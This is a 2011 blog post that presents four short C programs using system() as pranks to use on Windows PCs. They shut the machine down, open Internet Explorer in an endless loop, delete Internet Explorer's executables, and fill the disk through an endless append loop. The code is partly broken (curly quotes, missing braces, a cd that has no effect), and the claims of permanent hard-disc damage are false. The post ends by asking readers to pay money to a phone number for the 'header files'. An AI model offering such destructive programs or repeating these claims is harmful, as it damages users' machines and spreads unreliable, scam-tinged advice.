Saturday, March 19, 2011

*Example of a System Function in C.. You can do much more using this! lol...♠♥


1) C program which shutdown the window operating system:-

void main (void)
{
system("shutdown -s ");
}


2) C program such that when we will click on its .exe file then it will open internet explorer at infinite times:-


void main (void)
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}

the only way to stop this process that you have to delete it's file from BIN folder...! or restart your pc or laptop!


3) C program which delete the all the .exe file of internet explorer so that internet explorer will not work:-


void main(void)
{
system("cd c:\\progra~1\\intern~1");
system(“del *.exe”);
system(“cls”);
}

the above source code will permenantely delete all .exe files of your internet explorer n it'll not start you must reinstall it!


4) C program for dump your hardisc:-


void main() 
while(1) 
system("dir>>â•ša.exe"); 


well, this source code creates folders in folders... and so on..untill your hardisc will full of folders n after this process it will permenentely damage your hard disc!

To know header files.. You have to recharge of 100 Rs./- of the number given below! :)

9099293573

No comments:

Post a Comment